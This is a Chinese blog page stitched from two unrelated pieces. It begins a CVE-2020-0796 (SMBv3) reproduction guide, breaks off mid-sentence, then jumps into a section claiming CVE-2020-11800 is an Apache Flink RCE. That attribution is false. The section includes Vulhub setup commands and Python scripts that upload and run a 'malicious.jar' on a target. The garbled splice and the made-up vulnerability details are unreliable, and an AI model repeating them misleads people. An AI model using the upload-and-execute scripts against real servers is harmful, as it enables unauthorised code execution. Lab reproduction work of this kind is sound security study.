CVE-2020-0796漏洞复现

CVE-2020-0796漏洞复现指南
本文详细介绍了CVE-2020-0796漏洞,即SMBv3协议中的整数溢出漏洞,影响多个Windows 10和Server版本。复现过程中包括实验环境的搭建、漏洞扫描、shellcode生成、利用msfvenom和msfconsole进行攻击,以及在Kali Linux上监听并获取反弹shell。同时,文章指出复现过程中遇到的源码错误并提供了解决方案。

一、CVE-2020-0796简介

0x01 漏洞简介

CVE-2020-0796是由于SMBv3协议在处理恶意的压缩数据包时出错所造成的;在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。它可让远程且未经身份验证的攻击者在目标系统上执行任意代码,该漏洞类似于永恒之蓝。

漏洞危害等级:高

0x02 影响版本

Windows 10 Version 1903 for 32-bit Systems

Windows 10 Version 1903 for x64-based Systems

Windows 10 Version 1903 for ARM64-based Systems

Windows Server, Version 1903 (Server Core installation)

Windows 10 Version 1909 for 32-bit Systems

Windows 10 Version 1909 for x64-based Systems

Windows 10 Version 1909 for ARM64-based Systems

Windows Server, Version 1909 (Server Core installation)

二、实验环境

靶机:存在漏洞的win10虚拟机环境,系统镜像:

ed2k://|file|cn_windows_10_consumer_editions_version_1903_x64_dvd_8f05241d.iso|4905476096|F28FDC23DA34D55BA466BFD6E91DD311|/

ip地址:192.168.117.150

安装镜像后的注意事项:

· 将windows

### CVE-2020-11800 漏洞概述 CVE-2020-11800 是一个与 Apache Flink 相关的漏洞,该漏洞允许攻击者通过构造恶意请求来实现远程代码执行(RCE)。此漏洞的根本原因在于 Apache Flink 的 Web 界面未对用户输入进行充分验证,导致未经授权的用户可以发送特定的 HTTP 请求以执行任意代码[^4]。 ### 漏洞复现环境配置 为了复现 CVE-2020-11800 漏洞,需要搭建一个包含漏洞版本的 Apache Flink 环境。以下是具体步骤: #### 1. 克隆 Vulhub 仓库 Vulhub 是一个用于搭建漏洞复现环境的开源项目,可以通过以下命令克隆其仓库到本地: ```bash git clone https://github.com/vulhub/vulhub.git ``` #### 2. 定位漏洞环境路径 在 Vulhub 仓库中,Apache Flink 的漏洞环境路径为 `vulhub/flink/CVE-2020-11800`。进入该目录: ```bash cd vulhub/flink/CVE-2020-11800 ``` #### 3. 启动漏洞环境 使用 Docker Compose 启动漏洞环境: ```bash docker-compose up -d ``` 这将启动一个包含漏洞版本的 Apache Flink 环境[^5]。 #### 4. 验证环境是否正常运行 访问 Flink 的 Web 界面,默认地址为 `http://your-ip:8081`,确认页面能够正常加载。 ### 漏洞复现步骤 #### 1. 构造恶意请求 利用漏洞的关键在于向 Flink 的 Web 界面发送恶意的 HTTP 请求。以下是一个示例 Python 脚本,用于触发远程代码执行: ```python import requests url = "http://target-ip:8081/jars/upload" files = { 'file': open('malicious.jar', 'rb') # 替换为实际的恶意 JAR 文件 } response = requests.post(url, files=files) print(response.text) ``` #### 2. 执行命令 上传恶意 JAR 文件后,可以通过以下接口执行命令: ```python import requests url = "http://target-ip:8081/jars/execute" data = { "programArgs": "", "savepointPath": "", "parallelism": 1, "entryClass": "malicious.Main" # 替换为恶意类的主入口 } response = requests.post(url, json=data) print(response.text) ``` ### 注意事项 在测试过程中,确保只在授权的环境中进行操作,避免对生产系统造成影响。此外,及时更新 Apache Flink 至最新版本以修复此漏洞[^6]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值